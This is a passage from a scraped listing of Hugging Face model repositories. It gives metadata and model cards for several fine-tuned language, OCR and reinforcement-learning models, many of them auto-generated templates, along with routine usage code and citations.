title = {{Direct Preference Optimization: Your Language Model is Secretly a Reward Model}},
author = {Rafael Rafailov and Archit Sharma and Eric Mitchell and Christopher D. Manning and Stefano Ermon and Chelsea Finn},
year = 2023,
booktitle = {Advances in Neural Information Processing Systems 36: Annual Conference on Neural Information Processing Systems 2023, NeurIPS 2023, New Orleans, LA, USA, December 10 - 16, 2023},
url = {http://papers.nips.cc/paper_files/paper/2023/hash/a85b405ed65c6477a4fe8302b5e06ce7-Abstract-Conference.html},
editor = {Alice Oh and Tristan Naumann and Amir Globerson and Kate Saenko and Moritz Hardt and Sergey Levine},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
haihp02/bc67f646-f85e-4ceb-ad5f-a836c9921698
|
haihp02
| 2025-09-23T12:01:41Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T09:23:08Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
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- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
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### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
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[More Information Needed]
## Model Card Contact
[More Information Needed]
|
f1663247/webshop-40
|
f1663247
| 2025-09-23T12:01:07Z | 0 | 0 | null |
[
"safetensors",
"qwen2",
"region:us"
] | null | 2025-09-23T09:53:52Z |
# Converted checkpoint
This folder contains a merged Hugging Face model exported from RL checkpoints.
- Format: safetensors
- File: model.safetensors
|
Infraizoo/ier_16_bit_merged
|
Infraizoo
| 2025-09-23T12:00:40Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2_5_vl",
"image-to-text",
"arxiv:1910.09700",
"text-generation-inference",
"endpoints_compatible",
"8-bit",
"region:us"
] |
image-to-text
| 2025-09-23T09:41:27Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
prithivMLmods/Gliese-OCR-7B-Post1.0
|
prithivMLmods
| 2025-09-23T12:00:16Z | 465 | 10 |
transformers
|
[
"transformers",
"safetensors",
"qwen2_5_vl",
"image-to-text",
"trl",
"Document",
"KIE",
"OCR",
"VL",
"Camel",
"Openpdf",
"text-generation-inference",
"Extraction",
"Linking",
"Markdown",
".Md",
"Document Digitization",
"Intelligent Document Processing (IDP)",
"Intelligent Word Recognition (IWR)",
"Optical Mark Recognition (OMR)",
"image-text-to-text",
"conversational",
"en",
"zh",
"base_model:prithivMLmods/Camel-Doc-OCR-062825",
"base_model:finetune:prithivMLmods/Camel-Doc-OCR-062825",
"doi:10.57967/hf/6488",
"license:apache-2.0",
"endpoints_compatible",
"region:us"
] |
image-text-to-text
| 2025-09-10T18:31:55Z |
---
license: apache-2.0
pipeline_tag: image-text-to-text
language:
- en
- zh
base_model:
- prithivMLmods/Camel-Doc-OCR-062825
library_name: transformers
tags:
- trl
- Document
- KIE
- OCR
- VL
- Camel
- Openpdf
- text-generation-inference
- Extraction
- Linking
- Markdown
- .Md
- Document Digitization
- Intelligent Document Processing (IDP)
- Intelligent Word Recognition (IWR)
- Optical Mark Recognition (OMR)
---
# **Gliese-OCR-7B-Post1.0**
> The **Gliese-OCR-7B-Post1.0** model is a fine-tuned version of **[Camel-Doc-OCR-062825](https://huggingface.co/prithivMLmods/Camel-Doc-OCR-062825)**, optimized for **Document Retrieval**, **Content Extraction**, and **Analysis Recognition**. Built on top of the Qwen2.5-VL architecture, this model enhances document comprehension capabilities with focused training on the Opendoc2-Analysis-Recognition dataset for superior document analysis and information extraction tasks.
> [!note]
This model shows significant improvements in [LaTeX rendering and Markdown rendering for OCR tasks](https://huggingface.co/prithivMLmods/Gliese-OCR-7B-Post1.0/blob/main/Gliese-OCR-7B-Post1.0(4-bit)-reportlab/Gliese_OCR_7B_Post1_0(4_bit)_reportlab.ipynb).
# Key Enhancements
* **Context-Aware Multimodal Extraction and Linking for Documents**: Advanced capability for understanding document context and establishing connections between multimodal elements within documents.
* **Enhanced Document Retrieval**: Designed to efficiently locate and extract relevant information from complex document structures and layouts.
* **Superior Content Extraction**: Optimized for precise extraction of structured and unstructured content from diverse document formats.
* **Analysis Recognition**: Specialized in recognizing and interpreting analytical content, charts, tables, and visual data representations.
* **State-of-the-Art Performance Across Resolutions**: Achieves competitive results on OCR and visual QA benchmarks such as DocVQA, MathVista, RealWorldQA, and MTVQA.
* **Video Understanding up to 20+ minutes**: Supports detailed comprehension of long-duration videos for content summarization, Q\&A, and multi-modal reasoning.
* **Visually-Grounded Device Interaction**: Enables mobile/robotic device operation via visual inputs and text-based instructions using contextual understanding and decision-making logic.
# Quick Start with Transformers🤗
```python
from transformers import Qwen2_5_VLForConditionalGeneration, AutoTokenizer, AutoProcessor
from qwen_vl_utils import process_vision_info
model = Qwen2_5_VLForConditionalGeneration.from_pretrained(
"prithivMLmods/Gliese-OCR-7B-Post1.0", torch_dtype="auto", device_map="auto"
)
processor = AutoProcessor.from_pretrained("prithivMLmods/Gliese-OCR-7B-Post1.0")
messages = [
{
"role": "user",
"content": [
{
"type": "image",
"image": "https://qianwen-res.oss-cn-beijing.aliyuncs.com/Qwen-VL/assets/demo.jpeg",
},
{"type": "text", "text": "Describe this image."},
],
}
]
text = processor.apply_chat_template(
messages, tokenize=False, add_generation_prompt=True
)
image_inputs, video_inputs = process_vision_info(messages)
inputs = processor(
text=[text],
images=image_inputs,
videos=video_inputs,
padding=True,
return_tensors="pt",
)
inputs = inputs.to("cuda")
generated_ids = model.generate(**inputs, max_new_tokens=128)
generated_ids_trimmed = [
out_ids[len(in_ids):] for in_ids, out_ids in zip(inputs.input_ids, generated_ids)
]
output_text = processor.batch_decode(
generated_ids_trimmed, skip_special_tokens=True, clean_up_tokenization_spaces=False
)
print(output_text)
```
# Intended Use
This model is intended for:
* Context-aware multimodal extraction and linking for complex document structures.
* High-fidelity document retrieval and content extraction from various document formats.
* Analysis recognition of charts, graphs, tables, and visual data representations.
* Document-based question answering for educational and enterprise applications.
* Extraction and LaTeX formatting of mathematical expressions from printed or handwritten content.
* Retrieval and summarization from long documents, slides, and multi-modal inputs.
* Multilingual document analysis and structured content extraction for global use cases.
* Robotic or mobile automation with vision-guided contextual interaction.
# Limitations
* May show degraded performance on extremely low-quality or occluded images.
* Not optimized for real-time applications on low-resource or edge devices due to computational demands.
* Variable accuracy on uncommon or low-resource languages/scripts.
* Long video processing may require substantial memory and is not optimized for streaming applications.
* Visual token settings affect performance; suboptimal configurations can impact results.
* In rare cases, outputs may contain hallucinated or contextually misaligned information.
|
HymanRoth/code-search-net-tokenizer
|
HymanRoth
| 2025-09-23T11:56:59Z | 0 | 0 |
transformers
|
[
"transformers",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T11:56:57Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
kitsunea/modelSmolLM2-assignment2
|
kitsunea
| 2025-09-23T11:55:45Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"generated_from_trainer",
"base_model:HuggingFaceTB/SmolLM2-135M",
"base_model:finetune:HuggingFaceTB/SmolLM2-135M",
"license:apache-2.0",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T11:51:09Z |
---
library_name: transformers
license: apache-2.0
base_model: HuggingFaceTB/SmolLM2-135M
tags:
- generated_from_trainer
model-index:
- name: modelSmolLM2-assignment2
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# modelSmolLM2-assignment2
This model is a fine-tuned version of [HuggingFaceTB/SmolLM2-135M](https://huggingface.co/HuggingFaceTB/SmolLM2-135M) on an unknown dataset.
It achieves the following results on the evaluation set:
- Loss: 3.2075
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0005
- train_batch_size: 8
- eval_batch_size: 8
- seed: 42
- optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- num_epochs: 2
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:-----:|:----:|:---------------:|
| 3.1856 | 0.32 | 200 | 3.4159 |
| 2.9297 | 0.64 | 400 | 3.3019 |
| 2.7244 | 0.96 | 600 | 3.1694 |
| 1.6931 | 1.28 | 800 | 3.2505 |
| 1.4945 | 1.6 | 1000 | 3.2185 |
| 1.4384 | 1.92 | 1200 | 3.2075 |
### Framework versions
- Transformers 4.56.1
- Pytorch 2.8.0+cu126
- Datasets 4.0.0
- Tokenizers 0.22.0
|
josefdc/MyGemmaNPC
|
josefdc
| 2025-09-23T11:55:24Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"gemma3_text",
"text-generation",
"generated_from_trainer",
"sft",
"trl",
"conversational",
"base_model:google/gemma-3-270m-it",
"base_model:finetune:google/gemma-3-270m-it",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T11:53:31Z |
---
base_model: google/gemma-3-270m-it
library_name: transformers
model_name: MyGemmaNPC
tags:
- generated_from_trainer
- sft
- trl
licence: license
---
# Model Card for MyGemmaNPC
This model is a fine-tuned version of [google/gemma-3-270m-it](https://huggingface.co/google/gemma-3-270m-it).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="josefdc/MyGemmaNPC", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with SFT.
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.1
- Pytorch: 2.8.0+cu126
- Datasets: 4.0.0
- Tokenizers: 0.22.0
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
urm3l/qwen3-4b-salesforce-finetuned
|
urm3l
| 2025-09-23T11:53:11Z | 0 | 0 | null |
[
"safetensors",
"salesforce",
"customer-service",
"crm",
"lora",
"generated_from_trainer",
"dataset:urm3l/SalesforceTraining",
"base_model:Qwen/Qwen3-4B-Instruct-2507",
"base_model:adapter:Qwen/Qwen3-4B-Instruct-2507",
"region:us"
] | null | 2025-09-23T11:51:20Z |
---
base_model: Qwen/Qwen3-4B-Instruct-2507
tags:
- salesforce
- customer-service
- crm
- lora
- generated_from_trainer
datasets:
- urm3l/SalesforceTraining
---
# Qwen3 4B Salesforce Fine-tuned
This model is a fine-tuned version of Qwen3-4B-Instruct on Salesforce Q&A data.
## Usage
```python
from transformers import AutoModelForCausalLM, AutoTokenizer
from peft import PeftModel
base_model = "Qwen/Qwen3-4B-Instruct-2507"
adapter_model = "YOUR_USERNAME/qwen3-4b-salesforce-finetuned"
model = AutoModelForCausalLM.from_pretrained(base_model)
model = PeftModel.from_pretrained(model, adapter_model)
tokenizer = AutoTokenizer.from_pretrained(adapter_model)
|
riannseb/ppo-Huggy
|
riannseb
| 2025-09-23T11:51:46Z | 0 | 0 |
ml-agents
|
[
"ml-agents",
"tensorboard",
"onnx",
"Huggy",
"deep-reinforcement-learning",
"reinforcement-learning",
"ML-Agents-Huggy",
"region:us"
] |
reinforcement-learning
| 2025-09-23T11:51:39Z |
---
library_name: ml-agents
tags:
- Huggy
- deep-reinforcement-learning
- reinforcement-learning
- ML-Agents-Huggy
---
# **ppo** Agent playing **Huggy**
This is a trained model of a **ppo** agent playing **Huggy**
using the [Unity ML-Agents Library](https://github.com/Unity-Technologies/ml-agents).
## Usage (with ML-Agents)
The Documentation: https://unity-technologies.github.io/ml-agents/ML-Agents-Toolkit-Documentation/
We wrote a complete tutorial to learn to train your first agent using ML-Agents and publish it to the Hub:
- A *short tutorial* where you teach Huggy the Dog 🐶 to fetch the stick and then play with him directly in your
browser: https://huggingface.co/learn/deep-rl-course/unitbonus1/introduction
- A *longer tutorial* to understand how works ML-Agents:
https://huggingface.co/learn/deep-rl-course/unit5/introduction
### Resume the training
```bash
mlagents-learn <your_configuration_file_path.yaml> --run-id=<run_id> --resume
```
### Watch your Agent play
You can watch your agent **playing directly in your browser**
1. If the environment is part of ML-Agents official environments, go to https://huggingface.co/unity
2. Step 1: Find your model_id: riannseb/ppo-Huggy
3. Step 2: Select your *.nn /*.onnx file
4. Click on Watch the agent play 👀
|
DanielGigliotti/SpaceInvaders
|
DanielGigliotti
| 2025-09-23T11:51:41Z | 0 | 0 |
stable-baselines3
|
[
"stable-baselines3",
"SpaceInvadersNoFrameskip-v4",
"deep-reinforcement-learning",
"reinforcement-learning",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T11:51:00Z |
---
library_name: stable-baselines3
tags:
- SpaceInvadersNoFrameskip-v4
- deep-reinforcement-learning
- reinforcement-learning
- stable-baselines3
model-index:
- name: DQN
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: SpaceInvadersNoFrameskip-v4
type: SpaceInvadersNoFrameskip-v4
metrics:
- type: mean_reward
value: 675.00 +/- 283.77
name: mean_reward
verified: false
---
# **DQN** Agent playing **SpaceInvadersNoFrameskip-v4**
This is a trained model of a **DQN** agent playing **SpaceInvadersNoFrameskip-v4**
using the [stable-baselines3 library](https://github.com/DLR-RM/stable-baselines3)
and the [RL Zoo](https://github.com/DLR-RM/rl-baselines3-zoo).
The RL Zoo is a training framework for Stable Baselines3
reinforcement learning agents,
with hyperparameter optimization and pre-trained agents included.
## Usage (with SB3 RL Zoo)
RL Zoo: https://github.com/DLR-RM/rl-baselines3-zoo<br/>
SB3: https://github.com/DLR-RM/stable-baselines3<br/>
SB3 Contrib: https://github.com/Stable-Baselines-Team/stable-baselines3-contrib
SBX (SB3 + Jax): https://github.com/araffin/sbx
Install the RL Zoo (with SB3 and SB3-Contrib):
```bash
pip install rl_zoo3
```
```
# Download model and save it into the logs/ folder
python -m rl_zoo3.load_from_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -orga DanielGigliotti -f logs/
python -m rl_zoo3.enjoy --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
```
If you installed the RL Zoo3 via pip (`pip install rl_zoo3`), from anywhere you can do:
```
python -m rl_zoo3.load_from_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -orga DanielGigliotti -f logs/
python -m rl_zoo3.enjoy --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
```
## Training (with the RL Zoo)
```
python -m rl_zoo3.train --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
# Upload the model and generate video (when possible)
python -m rl_zoo3.push_to_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/ -orga DanielGigliotti
```
## Hyperparameters
```python
OrderedDict([('batch_size', 32),
('buffer_size', 100000),
('env_wrapper',
['stable_baselines3.common.atari_wrappers.AtariWrapper']),
('exploration_final_eps', 0.01),
('exploration_fraction', 0.1),
('frame_stack', 4),
('gradient_steps', 1),
('learning_rate', 0.0001),
('learning_starts', 100000),
('n_timesteps', 1000000.0),
('optimize_memory_usage', False),
('policy', 'CnnPolicy'),
('target_update_interval', 1000),
('train_freq', 4),
('normalize', False)])
```
# Environment Arguments
```python
{'render_mode': 'rgb_array'}
```
|
vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64-0922195515-epoch-7
|
vectorzhou
| 2025-09-23T11:51:29Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gemma2",
"text-generation",
"generated_from_trainer",
"fine-tuned",
"trl",
"extra-gradient",
"conversational",
"dataset:PKU-Alignment/PKU-SafeRLHF",
"arxiv:2503.08942",
"base_model:vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT",
"base_model:finetune:vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T11:50:49Z |
---
base_model: vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT
datasets: PKU-Alignment/PKU-SafeRLHF
library_name: transformers
model_name: gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64
tags:
- generated_from_trainer
- text-generation
- fine-tuned
- trl
- extra-gradient
licence: license
---
# Model Card for gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64
This model is a fine-tuned version of [vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT](https://huggingface.co/vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT) on the [PKU-Alignment/PKU-SafeRLHF](https://huggingface.co/datasets/PKU-Alignment/PKU-SafeRLHF) dataset.
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64-0922195515-epoch-7", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/zrl_csl_nlhf/nlhf/runs/6kinw4fn)
This model was trained with Extragradient, a method introduced in [Extragradient Preference Optimization (EGPO): Beyond Last-Iterate Convergence for Nash Learning from Human Feedback](https://huggingface.co/papers/2503.08942).
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0+cu128
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citations
Cite Extragradient as:
```bibtex
@misc{zhou2025extragradientpreferenceoptimizationegpo,
title={Extragradient Preference Optimization (EGPO): Beyond Last-Iterate Convergence for Nash Learning from Human Feedback},
author={Runlong Zhou and Maryam Fazel and Simon S. Du},
year={2025},
eprint={2503.08942},
archivePrefix={arXiv},
primaryClass={cs.LG},
url={https://arxiv.org/abs/2503.08942},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
Artik1985/Qwen2.5-0.5B-Instruct-Gensyn-Swarm-shiny_hibernating_alpaca
|
Artik1985
